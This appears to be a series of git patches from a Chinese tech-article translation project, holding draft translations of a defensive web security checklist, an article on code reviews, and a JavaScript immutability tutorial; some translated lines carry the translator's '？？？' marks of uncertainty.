+Thanks to [Alex Pompliano](https://twitter.com/alexpompliano) for editing. 🙏
+
+*Frank is a Product Designer at [*Headspace*](http://www.headspace.com). He was previously at [*Edenspiekermann*](http://www.edenspiekermann.com) and co-founded [*Bureau*](http://www.bureau.ca).*
+
+*You can follow him on [*Twitter*](http://www.twitter.com/frankchartrand).*
+
+---
+
+> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。

From 1d4f098255eeef0c880bed6fb58a826f8a2d2a2f Mon Sep 17 00:00:00 2001
From: GangsterHyj <919685260@qq.com>
Date: Sat, 20 May 2017 01:04:06 +0800
Subject: [PATCH 503/638] =?UTF-8?q?=E7=BF=BB=E8=AF=91=E5=9F=BA=E6=9C=AC?=
 =?UTF-8?q?=E5=AE=8C=E6=88=90?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/web-developer-security-checklist.md | 118 +++++++++++------------
 1 file changed, 59 insertions(+), 59 deletions(-)

diff --git a/TODO/web-developer-security-checklist.md b/TODO/web-developer-security-checklist.md
index d312d5b845e..2733f5acd2c 100644
--- a/TODO/web-developer-security-checklist.md
+++ b/TODO/web-developer-security-checklist.md
@@ -5,96 +5,96 @@
 > * 校对者：
 
 
-# Web Developer Security Checklist #
+# Web 开发者安全清单
 
 ![](https://cdn-images-1.medium.com/max/800/1*UOl3ydmbG1ehgoSpBxdGFA.jpeg)
 
-Developing secure, robust web applications in the cloud is **hard, very hard**. If you think it is easy, you are either a higher form of life or you have a painful awakening ahead of you.
+开发安全、健壮的云端 web 应用程序是**非常困难**的事情。如果你认为这很容易，要么你过着更高级的生活，要么你还正走向痛苦觉醒的路上。
 
-If you have drunk the [MVP](https://en.wikipedia.org/wiki/Minimum_viable_product) cool-aid and believe that you can create a product in one month that is both valuable and secure — think twice before you launch your “proto-product”. After you review the checklist below, acknowledge that you are skipping many of these critical security issues. At the very minimum, be *honest* with your potential users and let them know that you don’t have a complete product yet and are offering a prototype without full security.
+倘若你已经接受 [MVP（最小化可行产品）](https://en.wikipedia.org/wiki/Minimum_viable_product) 的开发理念，并且相信能在一个月内创造既有价值又安全的产品 —— 在发布你的“原型产品”之前请再三考虑。在你检查下面列出的安全清单后，承认你在开发过程中忽视了很多极其重要的安全问题。至少要对你潜在的用户坦诚，让他们知道你并没有真正完成产品，而仅仅只是提供没有充分考虑安全问题的原型。
 
-This checklist is simple, and by no means complete. It is a list of some of the more important issues you should consider when creating a web application.
+这份安全清单很简单，绝非覆盖所有方面。它列出了在创建 web 应用时需要考虑的比较重要的安全问题。
 
-Please comment if you have an item I can add to the list.
+如果下面的清单遗漏了你认为很重要的问题，请发表评论。
 
-### **Database** ###
+### **数据库** ###
 
--  Use encryption for data identifying users and sensitive data like access tokens, email addresses or billing details.
--  If your database supports low cost encryption at rest (like [AWS Aurora](https://aws.amazon.com/about-aws/whats-new/2015/12/amazon-aurora-now-supports-encryption-at-rest/)), then enable that to secure data on disk. Make sure all backups are stored encrypted as well.
--  Use minimal privilege for the database access user account. Don’t use the database root account.
--  Store and distribute secrets using a key store designed for the purpose. Don’t hard code in your applications.
--  Fully prevent SQL injection by only using SQL prepared statements. For example: if using NPM, don’t use npm-mysql, use npm-mysql2 which supports prepared statements.
+-  对识别用户身份的数据和诸如访问令牌、电子邮箱地址或账单明细等敏感数据进行加密。
+-  如果数据库支持在休息状态进行低消耗的数据加密 (如 [AWS Aurora](https://aws.amazon.com/about-aws/whats-new/2015/12/amazon-aurora-now-supports-encryption-at-rest/))，那么请激活此功能以加强磁盘数据安全。确保所有的备份文件也都被加密存储。
+-  对访问数据库的用户帐号使用最小权限原则，禁止使用数据库 root 帐号。
+-  使用精心设计的密钥库存储和分发密钥，不要对应用中使用的密钥进行硬编码。
+-  仅使用 SQL 预备语句以彻底阻止 SQL 注入。例如，如果使用 NPM 开发应用，连接数据库时不使用 npm-mysql ，而是使用支持预备语句的 npm-mysql2 。
 
-### Development ###
+### **开发** ###
 
--  Ensure that all components of your software are scanned for vulnerabilities for every version pushed to production. This means O/S, libraries and packages. This should be automated into the CI-CD process.
--  Secure development systems with equal vigilance to what you use for production systems. Build the software from secured, isolated development systems.
+-  确保检查软件所有组件的每个投入生存环境使用的版本漏洞，包括操作系统、库和软件包。此操作应该以自动化的方式注入 CI/CD 过程。
+-  对开发环境系统的安全问题保持与生产环境同样的警惕，从安全、独立的开发环境系统构建软件。
 
-### Authentication ###
+### **认证** ###
 
--  Ensure all passwords are hashed using appropriate crypto such as bcrypt. Never write your own crypto and correctly initialize crypto with good random data.
--  Implement simple but adequate password rules that encourage users to have long, random passwords.
--  Use multi-factor authentication for your logins to all your service providers.
+-  确保所有密码都使用适当的加密算法（例如 bcrypt ）进行哈希。
+-  实现简单但充分的密码规则以激励用户使用长的随机密码。
+-  使用多因素身份验证方式实现对服务提供商的登录操作。
 
-### **Denial of Service Protection** ###
+### **拒绝服务防卫** ###
 
--  Make sure that DOS attacks on your APIs won’t cripple your site. At a minimum, have rate limiters on your slower API paths like login and token generation routines.
--  Enforce sanity limits on the size and structure of user submitted data and requests.
--  Use [Distributed Denial of Service](https://en.wikipedia.org/wiki/Denial-of-service_attack) (DDOS) mitigation via a global caching proxy service like [CloudFlare](https://www.cloudflare.com/). This can be turned on if you suffer a DDOS attack and otherwise function as your DNS lookup.
+-  确保对 API 进行 DOS 攻击不会让你的网站崩溃。至少在执行时间较长的 API 路径（例如登录、令牌生成等程序）使用速度限制器。
+-  对用户提交的数据和请求在大小和结构上增强完整性限制。
+-  通过类似 [CloudFlare](https://www.cloudflare.com/) 的全局缓存代理服务应用缓解 [Distributed Denial of Service](https://en.wikipedia.org/wiki/Denial-of-service_attack) (DDOS)对网站带来的影响。如果你遭受 DDOS 攻击，或者用于 DNS 查找，可以考虑开启此服务。？？？
 
-### **Web Traffic** ###
+### **网络交通** ###
 
--  Use TLS for the entire site, not just login forms and responses. Never use TLS for just the login form.
--  Cookies must be httpOnly and secure and be scoped by path and domain.
--  Use [CSP](https://en.wikipedia.org/wiki/Content_Security_Policy) without allowing unsafe-* backdoors. It is a pain to configure, but worthwhile.
--  Use X-Frame-Option, X-XSS-Protection headers in client responses
--  Use HSTS responses to force TLS only access. Redirect all HTTP request to HTTPS on the server as backup.
--  Use CSRF tokens in all forms and use the new [SameSite Cookie](https://scotthelme.co.uk/csrf-is-dead/) response header which fixes CSRF once and for all newer browsers.
+-  整个网站使用 TLS （安全传输层协议），不要仅对登录表单使用 TLS。
+-  Cookies 必须添加 httpOnly 和 secure 属性，且由属性 path 和 domain 限定作用范围。
+-  使用 [CSP（内容安全策略）](https://en.wikipedia.org/wiki/Content_Security_Policy) 以禁止不安全的后门操作。策略的配置很繁琐，但是值得。
+-  使用 X-Frame-Option 和 X-XSS-Protection 响应头。
+-  使用 HSTS(HTTP Strict Transport Security) 响应强迫客户端仅使用 TLS 访问服务器。将所有 HTTP 请求重定向到服务器上的 HTTPS 作为后备。？？？
+-  在所有表单中使用 CSRF 令牌，使用新响应头 [SameSite Cookie](https://scotthelme.co.uk/csrf-is-dead/) 一次性解决 CSRF 问题， SameSite Cookie 适用于所有新版本的浏览器。
 
 ### **APIs** ###
 
--  Ensure that no resources are enumerable in your public APIs.
--  Ensure that users are fully authenticated and authorized appropriately when using your APIs.
+-  确保公有 API 中没有可枚举的资源。
+-  确保每个访问 API 的用户都能被恰当地认证和授权。
 
-### **Validation** ###
+### **校验** ###
 
--  Do client-side input validation for quick user feedback, but never trust it.
--  Validate every last bit of user input using white lists on the server. Never directly inject user content into responses. Never use user input in SQL statements.
+-  执行客户端输入校验以快速获取用户的反馈，但是不能完全依赖校验。
+-  使用服务器的白名单校验用户输入。不要向响应直接注入用户信息，不要在 SQL 语句使用用户输入。
 
-### **Cloud Configuration** ###
+### **云端配置** ###
 
--  Ensure all services have minimum ports open. While security through obscurity is no protection, using non-standard ports will make it a little bit harder for attackers.
--  Host backend database and services on private VPCs that are not visible on any public network. Be very careful when configuring AWS security groups and peering VPCs which can inadvertently make services visible to the public.
--  Isolate logical services in separate VPCs and peer VPCs to provide inter-service communication.
--  Ensure all services only accept data from a minimal set of IP addresses.
--  Restrict outgoing IP and port traffic to minimize APTs and “botification”.
--  Always use AWS IAM roles and not root credentials.
--  Use minimal access privilege for all ops and developer staff
--  Regularly rotate passwords and access keys according to a schedule.
+-  确保所有服务开放最少的端口。尽管是通过模糊的安全性不受保护的，使用非标准端口将使得黑客的攻击更加困难。
+-  在对任何公有网络都不可见的私有 VPC 上部署后台数据库和服务。配置 AWS 安全组和对等 VPC 务必谨慎（可能无意间使服务对外部可见）。
+-  在独立的 VPC 和对等的 VPC 隔离逻辑服务，以提供内部服务交流。？？？
+-  确保所有服务仅接收来自最小的IP地址集合的数据。
+-  限制对外输出的 IP 和端口流量，以最小化 APT（高级持续性威胁） 和 “警告”。
+-  始终使用 AWS 的 IAM （身份与访问管理）角色，而不是使用 root 的认证信息。
+-  对所有操作和开发人员使用最小访问权限原则。
+-  按照预定计划定期轮换密码和访问密钥。
 
-### **Infrastructure** ###
+### **基础架构** ###
 
--  Ensure you can do upgrades without downtime. Ensure you can quickly update software in a fully automated manner.
--  Create all infrastructure using a tool such as Terraform, and not via the cloud console. Infrastructure should be defined as “code” and be able to be recreated at the push of a button. Have zero tolerance for any resource created in the cloud by hand — Terraform can then audit your configuration.
--  Use centralized logging for all services. You should never need SSH to access or retrieve logs.
--  Don’t SSH into services except for one-off diagnosis. Using SSH regularly, typically means you have not automated an important task.
--  Don’t keep port 22 open on any AWS service groups on a permanent basis.
--  Create [immutable hosts](http://chadfowler.com/2013/06/23/immutable-deployments.html) instead of long-lived servers that you patch and upgrade. (See [Immutable Infrastructure Can Be More Secure](https://simplesecurity.sensedeep.com/immutable-infrastructure-can-be-dramatically-more-secure-238f297eca49)).
--  Use an [Intrusion Detection System](https://en.wikipedia.org/wiki/Intrusion_detection_system) like [SenseDeep](https://www.sensedeep.com/) or service to minimize [APTs](https://en.wikipedia.org/wiki/Advanced_persistent_threat) .
+-  确保在不停机的情况下对基础架构进行升级，确保以全自动的方式快速更新软件。
+-  利用 Terraform 等工具创建所有的基础架构，而不是通过云端命令行窗口。基础架构应该定义为“代码”，仅需一个按钮的功夫即可重建。对云端任何亲手创建的资源零容忍 —— Terraform 能审查你的所有配置。？？？
+-  为所有服务使用集中化的日志记录，不该再利用 SSH 访问或检索日志。
+-  除了一次性诊断以外，不要使用 SSH 登录进服务。 经常使用 SSH ，意味着你还没有将执行重要任务的操作自动化。？？？
+-  不要长期开放任何AWS服务组的22号端口。
+-  创建 [immutable hosts（不可变主机）](http://chadfowler.com/2013/06/23/immutable-deployments.html) 而不是创建需要提交补丁和更新的服务器。（详情请看博客 [Immutable Infrastructure Can Be More Secure](https://simplesecurity.sensedeep.com/immutable-infrastructure-can-be-dramatically-more-secure-238f297eca49)）。
+-  使用如 [SenseDeep](https://www.sensedeep.com/) 的 [Intrusion Detection System（入侵检测系统）](https://en.wikipedia.org/wiki/Intrusion_detection_system) 或服务，以最小化 [APTs（高级持续性威胁）](https://en.wikipedia.org/wiki/Advanced_persistent_threat) 。
 
-### **Operation** ###
+### **操作** ###
 
--  Power off unused services and servers. The most secure server is one that is powered down.
+-  关闭未使用的服务和服务器，最安全的服务器是关机的。
 
-### Test ###
+### **测试** ###
 
--  Audit your design and implementation.
--  Do penetration testing — hack yourself, but also have someone other than you pen testing as well.
+-  审核你的设计与实现。
+-  进行渗透测试 — 攻击自己的应用，让其他人为你的应用编写测试代码。
 
-### **Finally, have a plan** ###
+### **最后，制定计划** ###
 
--  Have a threat model that describes what you are defending against. It should list and prioritize the possible threats and actors.
--  Have a practiced security incident plan. One day, you will need it.
+-  准备用于描述网络攻击防御的威胁模型，它应该列出并优先考虑可能的威胁和网络攻击参与者。
+-  制定经得起实践考验的安全事故计划，总有一天你会用到它。
 
 ---
 

From 493a54546a7ddd5676eb7dffa241d36581a74a41 Mon Sep 17 00:00:00 2001
From: "Yuze.Ma" <584653629@qq.com>
Date: Sun, 21 May 2017 10:32:31 +0800
Subject: [PATCH 504/638] Fix inappropriate syntax

---
 TODO/crafting-better-code-reviews.md | 40 ++++++++++++++--------------
 1 file changed, 20 insertions(+), 20 deletions(-)

diff --git a/TODO/crafting-better-code-reviews.md b/TODO/crafting-better-code-reviews.md
index 369d3d34cf4..b8092b7f14f 100644
--- a/TODO/crafting-better-code-reviews.md
+++ b/TODO/crafting-better-code-reviews.md
@@ -6,13 +6,13 @@
 
 # 建立更好的代码审查制度 #
 
-*来自Rails 2017开发者大会中的一段演讲*
+### 来自Rails 2017开发者大会中的一段演讲 ###
 
-人与科技之间的交互部分总是那么忽明忽暗，难以捉摸。对于以 *开发科技产品* 为职业的人来说，更是如此。作为一个资深码农，我在代码审查的时候对于这一点的感触特别明显。
+人与科技之间的交互部分总是那么忽明忽暗，难以捉摸。对于*开发科技产品*的人来说，更是如此。作为一个资深码农，我在代码审查的时候对于这一点的感触特别明显。
 
-大多数开发者们习惯于把他们的代码看成一种艺术品，就好比画家看待自己的画一样，我们的代码总是和我们有着密不可分的关系。一直以来，我们都被教导说要做一个[无私奉献](https://blog.codinghorror.com/the-ten-commandments-of-egoless-programming/)的码农，能够在审查自己的代码的同时也能审查同事们写出来的代码。其实我们都知道这样的审查是对大家都有利的事,是一件[我们都应该做的事情](https://blog.codinghorror.com/code-reviews-just-do-it/)，而且很多人都一直在做这件事。
+大多数开发者们习惯于把他们的代码看成一种艺术品，就好比画家看待自己的画一样，我们的代码总是和我们密切相关。一直以来，我们都被教导说要做一个[利他](https://blog.codinghorror.com/the-ten-commandments-of-egoless-programming/)的码农，在代码合并到主分支之前，我们不仅要审查自己的代码，也要审查同事的代码。其实我们都知道这样的审查是对大家都有利的,是一件[我们都应该做的事情](https://blog.codinghorror.com/code-reviews-just-do-it/)，而且很多人恰好已经在做这些强烈推荐的事了。
 
-但是谁还记得上一次我们衡量这些方法论是什么时候？我们真的能保证我们的代码审查制度是 *有效* 的吗？我们能够保证我们的代码审查制度不忘初心吗？
+但是谁还记得上一次我们衡量这些方法论是什么时候？我们真的能保证我们的代码审查制度是**有效**的吗？我们能够保证我们的代码审查制度不忘初心吗？
 
 如果答案是不，那我们如何才能解决这个问题呢？
 
@@ -20,19 +20,19 @@
 
 © geek & poke, [http://geek-and-poke.com](http://geek-and-poke.com)
 
-### 避免和代码审查*过不去* ###
+### 不要和代码审查**过不去** ###
 
 
-在我们能真正完全理解代码审查的实际意义和好处之后，我们就能知道为什么会有代码审查这个传统了。网上有大量的有关代码审查的[研究](https://en.wikipedia.org/wiki/Code_review#References) ，但是我认为Steve McConnell在1993年发表的[*Code Complete*](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) 这个才是一个比较适合我们开始讨论的地方。
+在我们能真正完全理解代码审查的实际意义和好处之后，我们就能知道为什么会有代码审查这个传统了。网上有大量的有关代码审查最佳实践的[研究](https://en.wikipedia.org/wiki/Code_review#References),不过我建议可以从 Steve McConnell 在[**代码大全**](https://www.amazon.com/Code-Complete-Practical-Handbook-Construction/dp/0735619670) 中的相关研究入手（该书于 1993年出版）。
 
 In his book, he describes code reviews, and what function they *ought* to serve. He writes:
-在他的书中，对于代码审查制度*应该有*的功能描述，他写下了下面这些话：
+在他的书中，对于代码审查制度**应该**起到的作用，他写下了下面这些话：
 
-> 管理软件工程的一个重点就是找出在“最低价值”的问题。换句话说，就是找出最容易解决的问题。为了达到这样的一个预期，我们可以使用“质量门”这样一个理念，也就是周期性的测试或者审查来决定是否应该进行到开发的下一阶段。
+> 管理软件工程过程中的一部分就是抓住问题“最低价值”的阶段，即在已投入投资最少且花费最少去解决问题的时机。为了达到这样的一个预期，我们可以使用“质量门”这样一个理念，也就是周期性地测试或者审查来决定是否应该进行到开发的下一阶段。
 
-McConnell的代码审查研究中最重要的理念就是代码集体拥有制度。具体就是所有代码都是被一组贡献者们所拥有的，这些贡献者们能平等的对代码进行查看和更改。
+McConnell 的代码审查研究中最重要的理念就是"代码集体拥有制度"。所有代码都是被一组贡献者们所拥有的，这些贡献者们能平等地对代码进行查看和更改。
 
-> 代码审查制度最初是为了帮助我们共同维护一个软件。换句话说，就像我们同时持股一家公司时我们会做质量检测以确定产品的可行性。
+> 代码审查制度的初衷是它会帮助我们获得我们所创造软件的共同所有权。换句话说，通过参与控制产品质量的方式，我们每个人都会成为开发过程中的股东。
 
 McConnell在他的书中提出了很多种不同的代码审查制度的方式和流程，这些方式都可以被任何一个团队采用在日常的工作流当中。强烈推荐McConnell的 *Code Complete* ，真的非常赞。但是这边的话我们就简短的说3种来帮助理解。
 
@@ -40,7 +40,7 @@ McConnell在他的书中提出了很多种不同的代码审查制度的方式
 
 3人审查制度是一个比较长的审查流程，耗时基本都在1小时左右。整个流程会包括一个公司的把关人（扛把子），代码作者（程序猿），和一个审查员（产品狗）。
 
-当大家能正确打开这个审查制度的时候，研究表明这个审查可以抓住一个程序 *60%的问题* 。根据McConnell的研究，相比于不怎么流程化的代码审查，这个制度平均每1000行代码能减少20%到30%的错误。
+当这个审查制度被有效使用时，它通常能发现这个程序 **60%** 的问题（不管是程序缺陷还是错误）。。根据McConnell的研究，相比于不怎么流程化的代码审查，这个制度平均每1000行代码能减少20%到30%的错误。
 
 #### **2. 带着一起过** ####
 
@@ -58,7 +58,7 @@ McConnell的研究发现了下面这些有关于审查小片段的事实：
 
 McConnell的一组组数据似乎在告诉我们作为一个开发团队我们应该构造一些这三种代码审查的融合来进行开发的推进。
 
-然而，McConnell的书是在1993年写的。时至今日，我们的工作流程早就已经更新换代了，同事之间互相检查的方法论也随之更新。但是我们现在对于代码审查的构造足够合理完整吗？我们应该如何把*理论*上的东西运营到*实际*中去？
+然而，McConnell的书是在1993年写的。时至今日，我们的工作流程早就已经更新换代了，同行审查也随之更新。但是我们现在对于代码审查实行的方法足够合理完整吗？我们应该如何把**理论**上的东西运用到**实际**中去？
 
 To find the answer to these questions, I did what any determined (but a little unsure of where to start) developer would do: I asked the Internet!
 为了解答我的问题，我做了大多数码农会做的事：Google一下
@@ -70,7 +70,7 @@ To find the answer to these questions, I did what any determined (but a little u
 ### 程序猿们如何看待代码审查 ###
 
 
-在我对这个调查进一步阐述之前，我想先说点什么：*我不是一个数据科学家* （我希望我是，但是我也许在处理这篇文章反馈的时候能更加得心应手，或许我连在R语言里画个图都困难）。还有一点，就是说我的数据集其实是非常有限的。首先这个数据是我自己在推特上选过来的，然后的话数据是来自一个基于 branch/pull request的团队的。
+在我对这个调查进一步阐述之前，我想先说点什么：*我不是一个数据科学家* （我希望我是，但是我也许在处理这篇文章反馈的时候能更加得心应手，或许我用R语言画图还过得去）。还有一点，就是说我的数据集其实是非常有限的。首先这个数据是我自己在推特上选过来的，然后的话数据是来自一个基于 branch/pull request的团队的。
 
 好，那么重点来了：*程序猿们是到底如何看待代码审查的？*
 
@@ -169,7 +169,7 @@ The main themes when it came to the *substance* of a code review could be summar
 1. 反馈过度注重语法和习惯的问题，导致让双方都非常不爽。代码习惯与风格和代码功能错误根本就是两回事儿。
 2. 说话方式也很重要。过激的语言会打消对方的自信心，对团队也不是好事。
 
-### 我们如何能够做的更好？ ###
+### 如何做得更好? ###
 
 
 也许这些数据不能我们最完整，最细致，或者最精准的代表我们代码审查的结构，但是我们还是能学到一些东西：我们能够回顾并检查我们团队的甚至整个社区的代码审查流程。
@@ -188,7 +188,7 @@ The main themes when it came to the *substance* of a code review could be summar
 
 这边是一些能够快速帮助提高代码审查感受的一些技巧：
 
-- 使用 [linters](https://github.com/showcases/clean-code-linters) 或者其他的代码构成器来避免PR时的语法格式问题。
+- 使用 [linters](https://github.com/showcases/clean-code-linters) 或者其他的代码分析工具来避免语法问题。
 - 使用 [Github 的模板](https://quickleft.com/blog/pull-request-templates-make-code-review-easier/)来生产每个PR。在发PR的时候带上更改列表对于作者和审查者都非常有帮助。
 - 在发PR的时候可以加个截图来帮助那些不是很熟悉的人理解问题。
 - 提高commits的信息量，尽量语言短小精湛。
@@ -200,15 +200,15 @@ The main themes when it came to the *substance* of a code review could be summar
 
 警告：前方高能，内容可能有一定难度
 
-- ***能够理解你的团队。*** 这项任务一般都由高级工程师们来承担，希望大家对于新人们能多多帮助。
+- **能够理解你的团队。** 这项任务一般都由高级工程师们来承担，希望大家对于新人们能多多帮助。
 
 [![Markdown](http://i1.piimg.com/1949/36f270199929bb1e.png)](https://twitter.com/sarahmei)
 
-- ***更加委婉的交流。*** 这意味着在发评论之前思考自己的言行是否妥当，是否会让其他人很不爽。在公众下批评别人是一件非常不好的事情。相比，有个私人对话会好很多。
+- **更加委婉的交流。** 这意味着在发评论之前思考自己的言行是否妥当，是否会让其他人很不爽。在公众下批评别人是一件非常不好的事情。相比，有个私人对话会好很多。
 
 [![Markdown](http://i1.piimg.com/1949/51bfec74a7cf1e42.png)](https://twitter.com/j3)
 
-- ***进行一次口头交流。*** 带着整个团队坐下来，到slack（美国的一种团队交流软件）上开个新的频道，让大家能够匿名的交流（选择最适合的即可）。在匿名的情况下大家都愿意说真话。
+- **进行一次口头交流。** 带着整个团队坐下来，到slack（美国的一种团队交流软件）上开个新的频道，让大家能够匿名的交流（选择最适合的即可）。在匿名的情况下大家都愿意说真话。
 
 我把最重要的一点放在最后，因为当你还有耐心读到这里的时候，说明你真的想要更改一下你们的代码审查结构了，这是个好事儿。团队交流真的非常重要，这几乎是每个团队必须跨出的一步如果他们想要提升代码审查制度的话。
 
@@ -216,7 +216,7 @@ The main themes when it came to the *substance* of a code review could be summar
 
 > 理论上来说，我很喜欢代码审查。事实上，这个东西取决于构建这个流程的团队。
 
-#### 更多链接 ####
+#### 相关资源 ####
 
 如果你想看一个更加大的匿名的反馈，你可以看下面这个有关于这个项目的网站：
 
@@ -224,7 +224,7 @@ The main themes when it came to the *substance* of a code review could be summar
 
 #### 感谢 ####
 
-首先我很想感谢一路上一直支持我的工程师朋友们，感谢你们的答案和接受我的调查。
+首先感谢一路上一直支持我的工程师朋友们，感谢你们投入时间和精力参与我的调查。
 
 A huge thank you to [Kasra Rahjerdi](https://medium.com/@jc4p), who helped me analyze the responses to my survey and created many of the graphs in this project.
 非常感谢 [Kasra Rahjerdi](https://medium.com/@jc4p) 帮我整理反馈并且生成那么多的图像。

From 95fe976d559fe7b6e3cfa54e6396d855026a03db Mon Sep 17 00:00:00 2001
From: gy134340 <guoyang134340@163.com>
Date: Sun, 21 May 2017 18:11:50 +0800
Subject: [PATCH 505/638] =?UTF-8?q?=E5=88=A9=E7=94=A8=E2=80=9CImmutability?=
 =?UTF-8?q?=EF=BC=88=E4=B8=8D=E5=8F=AF=E5=8F=98=E6=80=A7=EF=BC=89=E2=80=9D?=
 =?UTF-8?q?=E7=BC=96=E5=86=99=E6=9B=B4=E4=B8=BA=E7=AE=80=E6=B4=81=E9=AB=98?=
 =?UTF-8?q?=E6=95=88=E7=9A=84=E4=BB=A3=E7=A0=81?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 ...by-leveraging-the-power-of-immutability.md | 61 ++++++++++---------
 1 file changed, 31 insertions(+), 30 deletions(-)

diff --git a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
index 08b6ba79a99..656ce8b3170 100644
--- a/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
+++ b/TODO/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability.md
@@ -2,24 +2,24 @@
 ](https://medium.freecodecamp.com/write-safer-and-cleaner-code-by-leveraging-the-power-of-immutability-7862df04b7b6)
 > * 原文作者：[Guido Schmitz](https://medium.freecodecamp.com/@guidsen)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
+> * 译者：[gy134340](https://github.com/gy134340)
 > * 校对者：
 
-# Write safer and cleaner code by leveraging the power of “Immutability” #
+# 利用“Immutability（不可变性）”编写更为简洁高效的代码
 
 ![](https://cdn-images-1.medium.com/max/2000/1*eO8-0-GT5ht8CR7TdK9knA.jpeg)
 
-Photo from [https://unsplash.com](https://unsplash.com) 
+图片来自[https://unsplash.com](https://unsplash.com)
 
-Immutability is one of the building blocks of functional programming. It allows you to write safer and cleaner code. I’ll show you how you can achieve immutability through some JavaScript examples.
+不可变性是函数式编程中的一部分，它允许你写更安全和简洁的代码。我将会通过一些 JavaScript 的例子来告诉你如何达到不可变性。
 
-**According to Wikipedia ([source](https://en.wikipedia.org/wiki/Immutable_object)):**
+**根据维基（ [地址](https://en.wikipedia.org/wiki/Immutable_object) ）：**
 
-> An immutable object (unchangeable object) is an object whose state cannot be modified after it is created. This is in contrast to a mutable object (changeable object), which can be modified after it is created. In some cases, an object is considered immutable even if some internally used attributes change but the object’s state appears to be unchanging from an external point of view.
+> 一个不可变对象（不能被改变的对象）是指在创建之后其状态不能被更改的对象，这与在创建之后可以被更改的可变对象（可以被改变的对象）相反。在某些情况下，一个对象的外部状态如果从外部看来是未不变的，那么即使它的一些内部属性更改了，仍被视为不可变对象。
 
-### Immutable Arrays ###
+### 不可变的数组
 
-Arrays are a good starting point to get a grasp of how immutability actually works. Lets take a look.
+数组是抓住不可变性如何工作的一个要点。我们来看一下。
 
 ```
 const arrayA = [1, 2, 3];
@@ -32,9 +32,9 @@ console.log(arrayA); // [1, 2, 3, 4, 5]
 console.log(arrayB); // [1, 2, 3, 4, 5]
 ```
 
-This example assigns **arrayB** to a reference of **arrayA**, so the push method adds the value 5 into both variables. Our code mutates other values indirectly, which is not what we want to do. This violates the principle of immutability.
+例子中 **arrayB** 是 **arrayA** 的引用，所以如果我们通过 push 方法向任意数组中添加一个值 5，那么就会间接影响到另外一个，这个是违反不可变性的原则的。
 
-We can improve our example to be immutable by using the [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) function, and the behavior of the code is different.
+我们可以通过使用 [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 函数以达到不可变性，进而优化我们的例子，此时代码的行为是完全不一样的。
 
 ```
 const arrayA = [1, 2, 3];
@@ -47,15 +47,15 @@ console.log(arrayA); // [1, 2, 3, 4]
 console.log(arrayB); // [1, 2, 3, 4, 5]
 ```
 
-This is exactly what we want. The code doesn’t mutate the other values.
+这才是我们要的，代码不改变其它的值。
 
-Remember: When using [push](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push) to add a value to an array, you are **mutating** the array. You want to avoid mutating variables because it can cause side effects in your code. The [slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) function returns a copy of the array.
+记住：当使用 [push](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/push) 来给数组添加一个值时，你在**改变**这个数组，你想要避免值的改变因为这个可能会影响你代码里的其他部分。[slice](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/slice) 会返回一个复制的数组。
 
-### Functions ###
+### 函数
 
-Now you know how to avoid mutating other values. How would you write functions to be “pure”? Pure is another word to call a function that doesn’t have any side effects and will not change state.
+现在你知道了如何避免改变其它的值。那要怎样写“纯”的函数呢？纯洁性是指调用一个函数同时不会产生额外的影响和改变状态的函数属性。
 
-Let’s look at a function that leverages the same principle from the arrays example. First we create a function that mutates another value, then we improve the function to be “pure”.
+让我们看看一个函数，它利用了数组实例的相同原理。首先我们写一个会改变其它值的函数，然后我们将这个函数优化为“纯”函数。
 
 ```
 const add = (arrayInput, value) => {
@@ -72,11 +72,11 @@ console.log(add(array, 4)); // [1, 2, 3, 4]
 console.log(add(array, 5)); // [1, 2, 3, 4, 5]
 ```
 
-So again, we are **mutating** our input which creates an unpredictable function. In the functional programming world, there is a golden rule around functions: **a function with the same input should always return the same result**.
+所以再一次的，我们**改变**我们的输入来创建一个不可预测的函数。在函数式编程的世界里，有一个关于函数的铁律：**函数对于相同的输入应当返回相同的值。**
 
-The function above violates the golden rule. Every time our **add** function is called, it mutates the **array** variable and the result is different.
+上面的函数违反了这一规则，每次我们调用 **add** 方法，它都会改变**数组**变量导致结果不一样。
 
-Let’s see how we can change the implementation of our **add **function so it’s immutable.
+让我们来看看怎样修改 **add** 函数的实现来使其不可变。
 
 ```
 const add = (arrayInput, value) => {
@@ -99,37 +99,38 @@ const resultB = add(array, 5);
 console.log(resultB); // [1, 2, 3, 5]
 ```
 
-Now we can call our function multiple times, and expect the output to be the same, based on the input. This is because we are no longer mutating the **array** variable. We can call this function a “pure function”.
+现在我们可以多次调用这个函数，然后根据相同的输入，获得相同的输出。这是因为我们不再改变 **array** 变量。我们把这个函数叫做“纯函数”。
 
-> **Note:** You can also use **concat**, instead of **slice** and **push**.
-> So: arrayInput.concat(value);
+> **注意：**你还可以使用 **concat**，来代替 **slice** 和 **push**。
+> 那样就是：arrayInput.concat(value);
 
-We can use the [spread syntax](https://developer.mozilla.org/nl/docs/Web/JavaScript/Reference/Operators/Spread_operator) , available in ES6, to shorten this function.
